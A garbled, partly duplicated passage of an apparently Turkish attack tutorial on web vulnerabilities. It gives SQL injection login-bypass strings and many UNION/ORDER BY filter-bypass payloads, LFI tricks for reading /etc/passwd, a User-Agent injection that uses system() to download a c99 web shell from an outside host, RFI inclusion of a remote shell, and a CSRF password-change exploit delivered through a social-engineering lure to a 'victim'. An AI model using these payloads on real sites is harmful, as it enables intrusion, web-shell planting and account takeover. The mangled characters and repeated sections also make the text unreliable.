Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 33: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 34: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

